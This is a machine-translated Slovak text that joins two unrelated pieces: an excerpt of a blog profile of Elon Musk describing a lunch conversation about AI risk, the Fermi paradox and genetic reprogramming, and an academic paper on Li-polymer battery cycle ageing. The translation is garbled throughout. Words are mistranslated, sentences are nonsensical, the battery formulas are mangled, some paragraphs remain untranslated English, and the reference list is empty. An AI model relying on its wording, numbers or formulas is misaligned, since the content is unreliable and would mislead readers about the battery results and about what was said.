Niekoľko ľudí, s ktorými som hovoril, hovoril, že Musk je posadnutá pravdou a presnosťou. Je v poriadku a dokonca víta negatívnu kritiku o ňom, keď sa domnieva, že je to presné, ale keď sa v tlači dostane niečo zlé na seba alebo jeho spoločnosti, zvyčajne si nemôže pomôcť sám seba a bude sa zaoberať a napraviť ich chybu. Znepokojuje neurčité frázy spin-doctor ako „štúdie hovoria“ a „vedci nesúhlasia“ a odmieta inzerovať Teslu, čo by väčšina začínajúcich automobilových spoločností nerozmýšľala dvakrát – pretože vidí reklamu ako manipulačnú a nečestnú.

V Muskových tyranských nárokoch pracovníkov existuje dokonca podtón integrity, pretože aj keď môže byť tyranom, nie je pokrytcom. Zamestnanci tlačení na prácu 80 hodín týždenne majú tendenciu byť menej horký, keď aspoň CEO tam pracuje 100.

Keď hovoríme o generálnom riaditeľovi, poďme s ním mať hamburger.

Môj obed s Elonom

Začalo to takto:

Po asi siedmich minútach sa mi podarilo vyriešiť svoju prvú otázku, malú otázku o tom, ako si myslel, že nedávne spustenie prešlo (pokúsili sa o mimoriadne ťažký manéver na pristátie s raketami – viac o postave SpaceX ). Jeho odpoveď zahŕňala nasledujúce slová: hypersonické, zriedené, husto, nadzvukové, Mach 1, Mach 3, Mach 4, Mach 5, vákuum, režimy, trysky, dusík, hélium, hmotnosť, hybnosť, balistický a spätný chod. Zatiaľ čo sa to deje, bol som stále zvyčajne vyrušený zo situácie a keď som začal prichádzať, bol som strach spýtať sa na akékoľvek otázky o tom, čo hovoril v prípade, že to už vysvetlil, keď som bol v bezvedomí.

Nakoniec som získal schopnosť dospieť k ľudskému rozhovoru a začali sme to, čo sa zmenilo na veľmi zaujímavú a pútavú dvojhodinovú diskusiu. 8. Ten chlap má veľa na mysli naprieč veľatém. V tomto jedinom obede sme pokryli elektrické autá, zmenu klímy, umelú inteligenciu, Fermi Paradox, vedomie, opakovane použiteľné rakety, kolonizáciu Marsu, vytvorenie atmosféry na Marse, hlasovanie na Marse, genetické programovanie, jeho deti, pokles počtu obyvateľov, inžinierstvo, Edison vs. Tesla, solárna energia, daň z uhlíka, definícia spoločnosti, deformácia priestoru a ako to nie je vlastne niečo, čo môžete robiť, nanoboty vo vašom krvnom riečisku a ako to vlastne nie je niečo, čo môžete robiť , Galileo, Shakespeare, americkí predkovia, Henry Ford, Isaac Newton, satelity a ľadové veky.

Dostanem sa do podrobností o tom, čo povedal o mnohých z týchto vecí v neskorších príspevkoch, no niektoré poznámky zatiaľ:

– Je to dosť vysoký a trpký chlap. V skutočnosti to nie je na kameru.

– Objednal si hamburger a jedol ho buď dvoma alebo tromi kousnutiami po dobu asi 15 sekúnd. Nikdy som nič podobné nevidel.

– On je veľmi, veľmi znepokojený AI. Citoval som ho v mojich príspevkoch na AI, keď hovoril, že sa obáva, že tým, že usilujeme o dosiahnutie Superinteligentného AI (ASI), „voláme démona“, ale nevedel som, ako veľmi myslel na túto tému. Citoval bezpečnosť AI ako jednu z troch vecí, o ktorých si myslí najviac – ďalšie dve sú trvalo udržateľná energia a stávajú sa multiplatňovými druhmi, tj Tesla a SpaceX. Musk je šikovný blázon, a pozná tón o AI a jeho úprimné znepokojenie nad tým spôsobuje strach.

– Fermi Paradox ho tiež znepokojuje. Vo svojom príspevkuna to som rozdelil Fermiho mysliteľov na dva tábory – tí, ktorí si myslia, že vôbec neexistuje žiadny iný vysoko inteligentný život kvôli nejakému veľkému filtru a tí, ktorí veria, že musí existovať veľa inteligentného života a že nevidíme známky z akéhokoľvek iného dôvodu. Musk si nebol istý, ktorý tábor sa zdal byť pravdepodobnejší, ale má podozrenie, že môže nastať rozrušená situácia Veľkého filtrovania. Myslí si, že paradox „jednoducho nedáva zmysel“ a že sa „stále viac znepokojuje“ čím viac času prechádza. S ohľadom na možnosť, že možno sme vzácny civilizácie, ktorý robil to cez veľký filter cez podivné udalosti z neho robí pocit ešte viac presvedčený o poslaní SpaceX je: „Ak budeme sú veľmi zriedkavé, mali by sme dostať do situácie, multi-planéty rýchly, pretože ak je civilizácia slabá, musíme urobiť všetko, čo je v našich silách, aby sme sa ubezpečili, že sa naša už slabá pravdepodobnosť prežitia dramaticky zlepší. „Opäť sa jeho strach tu cítim nie je skvelý.

– Jedna téma, s ktorou som s ním nesúhlasila, je povaha vedomia. Myslím, že vedomie je plynulé spektrum, Pre mňa je to, čo zažívame ako vedomie, práve to, čo sa zdá byť inteligentné na úrovni človeka. Sme múdrejší a „viac vedomí“ ako opica, ktorá je viac vedomá ako kura, atď. A cudzinec, ktorý je oveľa chytrejší ako my, by bol pre nás taký, akoby sme mali opice (alebo mravca) v každom smere. Hovorili sme o tom a Musk sa zdalo byť presvedčený, že vedomie na úrovni človeka je čierna a biela vec, že je to ako prepínač, ktorý sa v určitom bode vyvíja v procese vývoja a že žiadne iné zvieratá nie sú zdieľané. Nekupuje vec „mravce: ľudia :: ľudia: (omnoho inteligentnejšia mimozemská)“, pretože verí, že ľudia sú slabé počítače a že niečo, čo je múdrejší ako ľudia, by bolo silnejším počítačom, nie niečom, nemohol ani prežiť svoju existenciu.

– Chvíľu som s ním hovoril o genetickom preprogramovaní. Nekupuje účinnosť typického úsilia v oblasti boja proti starnutiu, pretože verí, že ľudia majú všeobecné dátumy vypršania platnosti a nikto to nedokáže pomôcť. Vysvetlil: „Celý systém sa zrúti. Nevidíte niekoho, kto je 90 rokov a je to ako oni môžu bežať super rýchlo, ale ich zrak je zlý. Celý systém je ukončovaná. Aby ste to vážne zmenili, musíte preprogramovať genetiku alebo nahradiť každú bunku v tele. „Teraz s niekým iným – doslova s niekýminým – by som pokrčil rameny a súhlasil, pretože sa na to dobre postaral. Ale to bol Elon Musk a Elon Musk opravuje hovno pre ľudstvo. Tak čo som urobil?

Ja: No … ale nie je to tak dôležité, aby som to skúsil? Je to niečo, na čo by ste kedy zažili svoju pozornosť?

Elon: Vec je, že všetci genetici sa dohodli, že nebudú preprogramovať ľudskú DNA. Takže musíte bojovať nie technickú bitku, ale morálnu bitku.

Ja: Bojujete s mnohými bitkami. Mohli by ste si vytvoriť vlastnú vec. Genetici, ktorí majú záujem – prinesiete ich sem. Vytvoríte laboratórium a môžete všetko zmeniť.

Elon: Viete, nazývam to Hitlerov problém. Hitler bol o vytvorení Übermenschu a genetickej čistoty a je to ako – ako sa vyhnúť Hitlerovmu problému? Neviem.

Ja: Myslím, že existuje cesta. Hovorili ste predtým o Henry Fordovi, že vždy nájde cestu okolo nejakej prekážky a robíte to isté, vždy si nájdeš cestu. A ja si myslím, že to je rovnako dôležitá a ambiciózna misia ako vaše ostatné veci a myslím si, že stojí za to bojovať takým spôsobom, nejako okolo morálnych otázok, okolo iných vecí.

Elon: Myslím, že si myslím, že … aby sme mohli zásadne vyriešiť mnohé z týchto problémov, budeme musieť preprogramovať našu DNA. To je jediný spôsob, ako to urobiť.

Ja: A hlboko, DNA je len fyzický materiál.

Elon: [Nods, potom sa pozastaví, keď sa pozerá cez moje rameno v zármutku] Je to softvér.

komentár:

1) Je naozaj zábavné, aby sa Elon Musk stýkal s ďalším zdanlivo neprekonateľným úkonom a mal by to byť trochu sklamaný, že to v súčasnosti nerobí, keď už robí viac pre ľudstvo ako doslova ktokoľvek na tejto planéte.

2) Je taktiež super zábavné, aby ste náhodne odstránili morálne otázky okolo genetického programovania s „myslím, že existuje cesta“ a aby som sa odvolal na DNA – doslova najmenšiu a najzložitejšiu látku vôbec – ako „len fyzický materiál hlboko“ nemajú absolútnu predstavu o čom hovorím. Pretože to bude jeho problém, aby som to pochopil, nie moje.

3) Myslím, že som úspešne zasadil semeno. Ak mu pätnásť rokov odoberie ľudskú genetiku a my všetci sme kvôli tomu všetci zomrú na 250 rokov, všetci mi dlužíte.

___________

Pri sledovaní rozhovorov s Muskom vidíte veľa ľudí, ktorí sa ho opýtali na nejakú variáciu tejto otázky, ktorú požiadal Chris Anderson na javisku na konferencii TED v roku 2013:

Ako ste to urobili? Tieto projekty – PayPal, SolarCity, Tesla, SpaceX – sú tak úžasne odlišné. Sú to ambiciózne projekty v rozsahu. Ako na Zemi bola jedna osoba schopná inovovať týmto spôsobom – čo je o vás? Môžeme mať nejakú tú tajnú omáčku?

Mnohé veci o Musku sú veľmi úspešné, ale myslím si, že existuje „tajná omáčka“, ktorá kladie Musku do inej ligy ako aj ostatní renomovaní miliardári našej doby. Mám teóriu o tom, čo to znamená, čo súvisí s tým, ako si myslí, že mu Musk myslí, o spôsobe, akým premýšľa problémy a o tom, ako vidí svet. Keď táto séria pokračuje, zamyslite sa nad tým a v poslednom príspevku budeme diskutovať oveľa viac.

Teraz vás ponechám s Elonom Muskom, ktorý drží Panic Monster .

 

___________

Zdroj: Elon Musk: Raddest muž na svete – Počkajte, ale prečo

Analýza účinku starnutia na batérie Li-Polymer

abstraktné

Lítium-iónové batérie sú kľúčovou technológiou pre súčasné a budúce skladovanie energie v mobilných a stacionárnych aplikáciách. Najmä hrajú dôležitú úlohu v elektrifikácii mobility, a preto predpoveď životnosti batérie je základným aspektom úspešného uvedenia na trh. Početné štúdie vyvinuli modely starnutia, ktoré dokážu predpovedať životnosť batérie. Väčšina predchádzajúcich diel porovnávala vplyv starnutia s životnosťou batérie. Tieto cykly sú identické, čo nie je prípad elektrických vozidiel. Väčšina dostupných informácií je skutočne založená na výsledkoch laboratórnych testov, vo veľmi kontrolovanom prostredí a použitím protokolov o starnutí, ktoré nemusia správne odrážať skutočné využitie. Pre tento dôvod, je dôležité prepojiť účinok cyklov so starnutím batérií. Tento článok navrhuje jednoduchú metódu na skúmanie účinku pracovného cyklu na životnosť batérií prostredníctvom testov vykonaných na rôznych bunkách pre rôzne druhy cyklov. Týmto spôsobom možno generický komplexný cyklus vnímať ako zloženie elementálnych cyklov pomocou procedúr Rainflow. V dôsledku toho môže byť starnutie v dôsledku akéhokoľvek cyklu odhadnuté z poznatkov o jednoduchších cykloch.

1. Úvod

Systémy na ukladanie energie, zvyčajne batérie, sú nevyhnutné pre elektrické pohonné vozidlá, ako sú hybridné elektrické vozidlá (HEV), zásuvné hybridné elektrické vozidlá (PHEV) a elektricky ovládané vozidlá (EV) [ 1 ]. Rastúca pozornosť venovaná energetickým aspektom, ktorá vedie k zavedeniu obnoviteľných zdrojov do nového konceptu aktívnych elektrických sietí, robí skladovacie systémy jednou z najdôležitejších a najdôležitejších tém výskumu tohto sektora.

Mnohé faktory ovplyvňujú prevádzkové charakteristiky, kapacitu, výkon a výkon batérie. Rôzni výrobcovia majú odlišné prístupy k riešeniu týchto problémov rôznymi chemickými systémami, prísadami, tvarovými faktormi a rozmermi, ktoré budú mať významný vplyv na rôzne výkony a využitie batérií [ 2 ]. Navyše, mnoho výrobcov automobilov prijalo lítium-iónové (Li-ionové) batérie ako preferované zariadenie na ukladanie energie do elektrických pohonných jednotiek (EDV), ktoré dokážu dodať potrebnú energiu a hustotu výkonu v relatívne malom, ľahkom obale.

Li-iontové batérie sú v skutočnosti kľúčovou technológiou pre súčasné a budúce skladovanie energie, či už sa používajú na mobilné alebo stacionárne použitie [ 3 ]. Sú uprednostňované pred inými technológiami batérií, pretože poskytujú jeden z najlepších pomerov energie k hmotnosti, nemajú pamäťový efekt a majú pomalé samovybíjanie [ 4 ]. V poslednej dobe sa lítium-iónové batérie používajú v mnohých odvetviach, ako je automobilový priemysel, letecký priemysel alebo obrany, vzhľadom na ich vysokú hustotu energie [ 5]. Najmä v automobilovom sektore si rastúci dopyt po elektrických vozidlách nútil zohľadniť iné sľubné technológie batérií, ako napríklad lítium-iónové batérie, ktoré by nahradili existujúce olovené batérie. Táto výmena je však náročná kvôli veľkým požiadavkám na energiu a energiu umiestnenú na takýchto batériách a zároveň zaručuje ich bezpečnú prevádzku. Takže kapacita a výkon batérie sú pre vyššie uvedené aplikácie kľúčové. Li-ion batéria navyše nemôže byť prebytočná a preťažená, pretože by to mohlo poškodiť.

Týmto spôsobom je nevyhnutný systém riadenia batérie (BMS), aby systém získal presné vedomosti o stave prevádzky Li-ion batérie. Najmä hlavnou funkciou je poskytnúť presné odhady stavu nabitia (SOC) a stavu zdravia (SOH) batérií. Mnoho metód, medzi ktoré Coulombovho počítanie [ 6 ], sledovanie napätie naprázdno [ 7 ], impedančné spektroskopia [ 8 ], fuzzy logika, [ 9 ], neurónové siete [ 10 ], a Kalmanův filter [ 11 – 13 ], bolo navrhnuté v aby sa odhadol počet batérií SOC a SOH. Všetky tieto metódy s výhodami a nevýhodami sú zhrnuté v [ 14 ].

Rozsiahle používanie batérií v hybridných elektrických vozidlách (HEV) dnes vyžaduje vytvorenie presného modelu starnutia a životnosti batérie. Starnutie batérie sa môže rozdeliť na dve časti: starnutie kalendára a cyklus jeden [ 15 ]. Starnutie kalendára zodpovedá nezvratnému podielu stratených kapacít počas skladovania. Inými slovami, ide o degradáciu spôsobenú skladovaním batérií [ 16 , 17]. Naopak, starnutie cyklu súvisí s dôsledkom obdobia využitia batérie nazývaného cykly (nabíjanie alebo vyprázdňovanie). Stáva sa to vtedy, keď je batéria buď nabitá alebo vybíja. Toto je priamy dôsledok úrovne, spôsobu použitia, teplotných podmienok a aktuálnych požiadaviek na batériu. V dôsledku toho sa jeho životnosť počas životnosti batérie pomaly zhoršuje z dôvodu degradácie jeho elektrochemických zložiek, čo má za následok zhoršenie výkonu HEV a palivovej účinnosti. Tieto nežiaduce účinky zahŕňajú stratu menovitej kapacity, rýchlejší nárast teploty počas prevádzky, zníženie prijateľnosti náplne, vyšší vnútorný odpor, nižšie napätie a častejšie samovybíjanie. Najdraktívnejším účinkom je strata nominálnej kapacity [ 18].

Z týchto dôvodov je hlavným a najnáročnejším cieľom identifikácia mechanizmov starnutia a degradácie v batérii. Takéto procesy sú komplikované, pretože mnoho faktorov z prostredia alebo z režimu využívania interaguje s cieľom generovať rôzne účinky starnutia.

Aby sme získali prehľad o degradácii týchto výkonov, výskumné úsilie bolo venované modelu starnutia Li-ion, menovite stratu kapacity alebo impedancie a kvantifikácia vplyvu faktorov starnutia [ 19 , 20 ]. Napriek intenzívnym skúmaniam rôznych pozitívnych a negatívnych chemických techník, tieto fenomény starnutia nie sú ešte dobre pochopené a nie kvantifikované a kombinované vplyvy teploty (T), SOC, hĺbky vybíjania (DOD) a intenzity prúdu stále zostávajú ťažké kvantifikovať a spravovať. Napriek tomu, že väčšina mechanizmov starnutia Li-ionov bola experimentálne identifikovaná a popísaná v literatúre, tieto javy sú zložité a môžu vzájomne ovplyvňovať, čo vedie k odlišným tvarom vývoja kvôli strate kapacity a strate výkonu [ 21]. Takéto aspekty sú dôležité počas celej životnosti vozidla a boli podrobne skúmané prostredníctvom dlhodobých experimentov na rôznych batériových technológiách. Väčšina dostupných informácií je však založená na výsledkoch laboratórnych testov, vo veľmi kontrolovanom prostredí a používaní protokolov o starnutí, ktoré nemusia správne odrážať skutočné využitie vozidla. Taktiež údaje o starnutí poskytované výrobcami batérií vyplývajú zo štandardných skúšok starnutia, pri ktorých je batéria vybitá a nabitá tisíckrát rovnakými profilmi prúdu (alebo cyklov). Preto môžu existovať výrazné rozdiely v starnutí a životnosti batérie, ak sa batérie používajú na vozidle za špecifických prevádzkových podmienok a spôsobov používania,22 ].

Problém vplyvu pracovného cyklu na životnosť batérií nie je triviálny problém. Pri bežnom používaní sa batérie riadia požiadavkou na napájanie, ktorá nikdy nie je štandardným vybíjaním až do pevného SOC. Z tohto dôvodu je veľmi dôležité prepojiť účinok pracovných cyklov so starnutím batérií, aby sa tento zložitý problém stal čo najjednoduchším.

V tomto článku sa analyzuje len starnutie cyklu lítium-iónových batérií. Bola navrhnutá jednoduchá metóda na skúmanie účinku pracovného cyklu na životnosť batérií prostredníctvom testov vykonaných na rôznych bunkách. Prostredníctvom tejto metódy je možné odhadnúť starnutie batérií pre rôzne cykly počnúc znalosťou niekoľkých parametrov. Všeobecný komplexný cyklus možno považovať za zloženie elementárnych cyklov pomocou procedúr Rainflow [ 23 ]. Týmto spôsobom môže byť starnutie v dôsledku akéhokoľvek takého zložitého cyklu odhalené počnúc znalosťou jednoduchších cyklov.

2. Experimentálny testovací postup

Problém vyhodnotenia životnosti batérií je veľmi ťažká úloha, ktorá sa doteraz nevyriešila. Najmä v prípade EV, informácie o batériách SOH, spolu s SOC, by mohli byť veľmi zaujímavé.

Ako je známe, životnosť batérií závisí od mnohých parametrov: teplota, prúd, hĺbka výboja, napätie, vlhkosť atď. Každopádne, zohľadnenie všetkých týchto parametrov je veľmi ťažkou výzvou. V tomto článku sa riešil vplyv pracovného cyklu na životnosť batérií.

The problem of the effect of the duty cycle on lifetime of batteries is a difficult problem. Indeed, the life of batteries is always given by manufacturers with reference to fixed cycles. They refer to discharge up to SOC values (usually 20% and 80% of the depth of discharge). In normal use, the batteries follow a power request that is never a standard discharge up to a fixed SOC. For this reason, it is very important to link the effect of duty cycles with the ageing of the batteries. In this paper, it would be shown that, in some conditions, it is possible to estimate the ageing of the batteries for different cycles starting from the knowledge of few parameters. In order to do it, the battery will be cycled with 2 elemental cycles and then with a cycle composed of the first two. Then, the results will be analyzed to understand if the ageing of the composed cycle can be derived from the ageing of the elemental ones. If this is true, any cycle can be decomposed in elemental cycles by means of Rainflow procedures [23] and the ageing for any cycle can be estimated.

S cieľom vyhodnotiť SOH skúšaných batérií bolo zvolené, aby sa zvážila ich kapacita ako indikátor SOH. Z tohto dôvodu sú počas skúšok starnutia batérie pravidelne plne nabité a plne vybíjané na meranie ich kapacity. Ďalším ukazovateľom SOH môže byť vnútorný odpor. Pre prístup, ktorý používajú autori, informácie o vnútornom odporu sa považujú len za nástroj pre hodnotiteľa SOH, ale nepoužívajú sa na meranie stavu starnutia. S cieľom overiť vplyv pracovných cyklov na proces starnutia batérií, boli testy boli vykonané s nekritických podmienok pre všetky ostatné premenné. Z tohto dôvodu boli bunky cyklizované za nasledujúcich podmienok:

1. pri teplote a vlhkosti prostredia (monitorovala sa teplotná bunka);
2. s prúdom nižším ako menovitý prúd (C1), aby sa zabránilo starnutiu v dôsledku vysokých prúdov;
3. v regióne SOC medzi 80% a 20%, aby sa zabránilo starnutiu v zónach s vysokým alebo nízkym napätím.

Bunkou použitou na test je polymérová lítium-iónová batéria 8773160K vyrábaná spoločnosťou General Electronics Battery Co., Ltd. Hlavné dáta bunky sú uvedené v tabuľke 1 .

stôl 1

Hlavné údaje testovaných buniek.

Dva elementárne cykly sú definované nasledovne:

1. počnúc SOC rovným 80%, vybíjanie 6 Ah (60%) pri 8 A a nabíjanie 6 Ah pri 8 A,
2. počínajúc SOC rovným 60%, vybíjanie 2 Ah (20%) pri 8 A a nabíjanie 2 Ah pri 8 A,
3. tretí cyklus zložený z prvých dvoch, ktorý je tvorený fázami nabíjania a vybíjania pri 8 A podľa profilu uvedeného na obrázku 1 (b) .
   

   postava 1

   (a) elementárne skúšobné cykly a (b) kombinácia dvoch elementárnych cyklov.

Obrázok 1 (a) znázorňuje dva elementárne testy definované v predchádzajúcich (1) a (2), zatiaľ čo naobrázku 1 (b) je uvedená kombinácia dvoch elementárnych cyklov.

Tri cykly boli aplikované na tri čerstvé bunky a pri každých 15 cykloch sa vykonal cyklus plného nabitia a vybitia na meranie kapacity bunky. Testy sa uskutočnili na katedre elektroniky, informácií a bioinžinierstva Politecnico di Milano pomocou 100-A boosteru (VMP3B-100) pripojeného k potencioostatu (SP-150), ktoré boli obidva z Biological Science Instruments, kontrolované počítač cez USB s programom EC-LAB. Obrázok 2 znázorňuje experimentálne nastavenie.

Obrázok 2

Experimentálne nastavenie.

Ak sa vekový účinok tretieho cyklu dá získať ako kombinácia starnutia prvých dvoch cyklov, je možné odhadnúť starnutie ktoréhokoľvek cyklu, ktorý sa rozkladá v elementárnych cykloch. Rozklad možno získať napríklad pomocou algoritmov Rainflow. Použitie technológie Rainflow na starnutie batérií je mimo rozsahu tohto dokumentu, v ktorom sa bude venovať len možnosť odhadnúť starnutie ako „súčet“ starnutia elementárnych cyklov.

3. Experimentálne výsledky

Ako bolo opísané v predchádzajúcej časti, tri bunky boli testované pomocou cyklov definovaných na obrázku 1 . Spočiatku bolo vykonaných 300 cyklov. Potom sa overilo, že 300 cyklov druhu 2 je príliš málo na zhodnotenie starnutia batérií. Preto bolo vykonaných ďalších 300 cyklov na celkom 600 cyklov v každej bunke. Nasledujúce tri bunky budú označené indexmi 1, 2 a 3, ktoré zodpovedajú cyklu, na ktorý boli testované.

Tri bunky sú samozrejme odlišné od seba. S cieľom porovnať ich starnutie sa vykonalo predbežné meranie ich kapacity a táto hodnota sa považovala za referenčnú hodnotu pre hodnotenie starnutia. Konkrétne je počiatočná nameraná kapacita troch buniek

C1= 10,191 Ah , C2= 10,290 Ah , C3= 10,268 Ah . 

(1)

Nasledujúce zníženie kapacity sa vypočíta na jednotku pomocou základov uvedených v ( 1 ). Na obrázku 3je uvedené zníženie kapacity (modrá čiara) troch buniek počas 600 cyklov.

Obrázok 3

Starnutie troch buniek ako funkcie cyklov.

Pri pohľade na kapacity získané pri oboch elementárnych cykloch je možné zaznamenať významné zvýšenie v cykle 300. Toto správanie je spôsobené pauzou zavedenou po 300 cykloch. Ako bolo uvedené vyššie, bolo pôvodne naprogramovaných 300 cyklov. Potom, aby sa zvýšil účinok starnutia, bolo vykonaných ďalších 300 cyklov. Počas prestávky má obnovujúci účinok batérií za následok zvýšenie kapacity niektorých cyklov. V kombinovanom cykle tento efekt nie je viditeľný, pretože tento cyklus, ako posledný vykonaný, bol vykonaný bez pauzy. Takže prvé body po pauze by nemali byť považované za analýzu starnutia. Pri správaní druhej bunky je možné pozorovať zvýšenie kapacity po prvom cykle. Mohlo by to byť spôsobené účinkom počiatočnej kondicionácie bunky. Pre tento dôvod,C ₂ je pravdepodobne vyššia ako prvá hodnota. Na obr. 3 je zobrazená aj teplota buniek.

Pri pohľade na obrázok 3 je možné vidieť, že zmena teploty (zelená čiara) je obmedzená v rozmedzí 25 až 40 ° C. Táto odchýlka je spôsobená skutočnosťou, že prvá sada 300 skúšobných cyklov bola vykonaná počas leta, zatiaľ čo druhá sada bola vykonaná počas jesene. V dôsledku toho je dôležité hlásiť rôzne testy pri rovnakej teplote, aby ste dosiahli starnutie batérie nezávisle od samotnej teploty. Aby to bolo možné, je potrebné poznať odchýlku kapacity batérie ako funkciu teploty. Posledný vzťah sa dá dosiahnuť vykonaním ďalších testov, pomocou ktorých sa meria kapacita akumulátora pri rôznych teplotách pomocou klimatickej komory uvedenej na obrázku 4 .

Obrázok 4

Klimatická komora.

Takže kapacita batérie bola meraná v teplotnom rozmedzí 20-40 ° C s teplotným krokom 2,5 ° C, testovaním novej batérie rovnakého druhu. Výsledky testu sú uvedené na obrázku 5 spolu s lineárnou interpolovanou funkciou.

Obrázok 5

Kapacita batérie závisí od teploty.

Kapacita batérie ako funkcia teploty vyjadrená v Ah ( obrázok 5 ) je nasledovná:

C ( T ) = 0,003849 T + 10,08,

(2)

kde T je teplota vyjadrená v ° C.

Obrázok 3 znázorňuje aj starnutie troch batérií, ktoré boli hlásené pri rovnakej teplote 20 ° C (červená čiara) spolu so starnutím bez korekcie teploty (modrá čiara). Je možné poznamenať, že teplotný efekt je obmedzený, približne o 1% zmeny kapacity akumulátora vzhľadom na teplotnú odchýlku 20 ° C, čo je potvrdené v [ 24 – 26 ].

Pri pohľade na tri správanie sa starnutia batérie hlásené pri rovnakej teplote je možné rozpoznať lineárny pokles kapacity s druhou odmocninou počtu cyklov. Interpolácie pre tri krivky sú uvedené na obrázku 6(zelená čiara) a zodpovedajúce funkcie sú nasledujúce:

C1( n1) =10,164–0,0134n1–√,C2( n2) =10,302–0,0093n2–√,C3( n3) =10,251–0,0239n3–√,

(3)

kde n je číslo cyklu a všetky kapacity sú vyjadrené v Ah.

Obrázok 6

Interpolácia starnutia troch buniek.

Stojí za povšimnutie, že koeficient starnutia kombinovaného cyklu je takmer rovnaký ako súčet koeficientov starnutia dvoch elementárnych cyklov. Zdá sa teda, že starnutie je spojené s pohybovaným nábojom, ako je uvedené pre olovené akumulátory v [ 27 ] a najmä s druhou odmocninou premiestneného náboja.

Aby sme pochopili, či sa môžu účinky tretích cyklov kombinovať v treťom cykle, ( 3 ) musia byť vyjadrené ako funkcia presunutého náboja. Vzhľadom na prenesený náboj každého cyklu, ako je uvedené na obrázku 1 , ( 3 ) sa môže prepísať ako

C1( q) =10,164–0,0035q√  [ Ah ] ,C2( q) =10,302až0,0037q√  [ Ah ] ,C3( q) =10,251–0,0056q√  [ Ah ] ,

(4)

kde q je náboj, v Ah, pohybuje sa každou batériou. Z ( 4 ) je možné vidieť, že starnutie je pri troch batériách dosť podobné, ak sa druhá odmocnina presunutého náboja považuje za faktor starnutia. Koeficienty dvoch elementárnych cyklov vykazujú nižšie starnutie v porovnaní s kombinovaným testom. Môže to byť spôsobené pauzou po 300 cykloch, ktoré boli vložené pre dva elementárne cykly a nie pre kombinovaný cyklus. Pokiaľ ide o ohlásené testy, treba navyše brať do úvahy, že pohybovaný náboj je ovplyvňovaný aj náplňou prenášanou počas merania kapacity (každých 15 cyklov). Kapacity troch článkov ako funkcie druhého odmocnina premiestneného náboja sú uvedené vObrázok 7 . Aby sa porovnali zvyškové kapacity troch článkov, normalizovali sa ich pôvodné menovité kapacity, zatiaľ čo prenesený náboj bol normalizovaný na nominálny náboj batérie (10 Ah).

Obrázok 7

Starnutie troch batérií.

Z analýzy z obr. 7 možno konštatovať, že starnutie troch batérií, merané ako zníženie ich kapacity, sa môže s dobrým priblížením vyjadriť ako funkcia iba druhej odmocniny presunutého náboja. Interpolačná funkcia uvedená na obrázku je

C( q) =1–0,0017q√ [ str . u . ] .

(5)

Pri pohľade na obrázok 7 je zrejmé, že účinok regenerácie spôsobuje zvýšenie znázornenej kapacity vzhľadom na ostatné údaje. Najmä čierne kruhy, ktoré odkazujú na veľký cyklus, po prestávke, ktorá sa vyskytuje pri približne 4000 Ah (400 × 10 Ah), sú oveľa vyššie ako interpolačná funkcia.

Podľa ( 5 ) možno predpokladať životnosť tohto druhu batérií. Ak zoberieme do úvahy koniec životnosti batérií pri dosiahnutí zníženia kapacity o 20% [ 28 ], z ( 5 ) sa dá presunúť celkový náboj 160 kAh. Potom je možné uviesť, že pracovný cyklus prakticky neovplyvňuje starnutie batérie.

Je potrebné poznamenať, že životná predpoveď nezohľadňuje všetky reakcie, ktoré sa môžu vyskytnúť, keď je napätie blízke minimu alebo maximu, ale týka sa najlepšieho využitia batérií v lineárnej oblasti (tj kde napätie je lineárna funkcia SOC). Každopádne, vzhľadom na cyklus 80% (tj 16 Ah, 8 pre vypúšťanie a 8 pre nabíjanie), predpokladané životné výsledky sa rovnajú 10000 cyklu, čo je vyššie ako údaje poskytnuté výrobcami pre tento druh batérie. Zmena degradácie batérie po vysokom počte cyklov môže byť predvídateľná. Stíhanie testovacej kampane preskúma túto tému.

4. Závery

Mnohé moderné spotrebiče, od mobilných telefónov až po elektrické autá, využívajú ako zdroj energie lithium-iontové batérie, takže ich správne fungovanie závisí od skutočnej výkonnosti batérie. Preto je dôležité odhadnúť zdravie a životnosť batérie s ohľadom na rôzne aplikácie. V odbornej literatúre boli navrhnuté rôzne modely na odhad starnutia batérií. Niektoré z nich uvažujú o chemických modeloch, ktoré potrebujú veľa a často neznámych parametrov. Často sa preferujú ekvivalentné modely okruhov, pretože najjednoduchší spôsob získania hodnôt parametrov.

Modely batérií sú nevyhnutné pre akýkoľvek dizajn systému s batériami, ktorý sa zameriava na predĺženie životnosti batérie a na riadenie napájania z batérie.

Z tohto dôvodu je hlavným a najnáročnejším cieľom identifikácia mechanizmov starnutia a degradácie v batérii. Takéto procesy sú komplikované, pretože mnoho faktorov z prostredia alebo z režimu využívania interaguje s cieľom generovať rôzne účinky starnutia.

Väčšina dostupných informácií týkajúcich sa starnutia batérie je založená na výsledkoch laboratórnych testov, vo veľmi kontrolovanom prostredí a používaní protokolov starnutia, ktoré nesprávne odrážajú skutočné využitie vozidla. Taktiež údaje o starnutí poskytované výrobcami batérií vyplývajú zo štandardných skúšok starnutia, pri ktorých je batéria vybitá a nabitá tisíckrát rovnakými profilmi prúdu (alebo cyklov).

Problém vplyvu pracovného cyklu na životnosť batérií je dôležitý na správne odhady starnutia batérií. Pri bežnom používaní sa batérie riadia požiadavkou na napájanie, ktorá nikdy nie je štandardným vybíjaním až do pevného SOC. Z tohto dôvodu je veľmi dôležité prepojiť vplyv pracovných cyklov so starnutím batérií.

Tento článok navrhuje nový a jednoduchý spôsob, ale zároveň účinný, odhadnúť životnosť batérie s prihliadnutím na účinok pracovného cyklu počnúc znalosťou niekoľkých parametrov, ktoré možno určiť z reprodukovateľných testov. Najmä generický komplexný cyklus možno považovať za zloženie rôznych elementárnych cyklov. Týmto spôsobom môže byť starnutie v dôsledku akéhokoľvek taktiež komplexného cyklu odhalené počnúc znalosťou jednoduchších cyklov.

To this purpose many experimental tests have been carried out on three Li-ion batteries stressed with different charge/discharge cycles in order to estimate their state of health and consequently the effects due to their ageing.

Výsledky získané analýzou zhromaždených údajov ukazujú, že starnutie lithium-iontovej batérie koreluje s celkovým elektrickým nábojom, ktorý prúdi do batériových článkov a najmä s druhou odmocninou celkového presunutého náboja. Potom je možné uviesť, že pracovný cyklus prakticky neovplyvňuje starnutie batérie. Treba poznamenať, že predpoveď života nezohľadňuje všetky reakcie, ktoré sa môžu vyskytnúť, keď je napätie blízke minimu alebo maximu, ale týka sa najlepšieho použitia batérií v lineárnej oblasti. Okrem toho môže byť predvídateľná zmena v degradácii batérie po vysokom počte cyklov. Preto sú potrebné ďalšie testy na prešetrenie tejto otázky.

Referencie

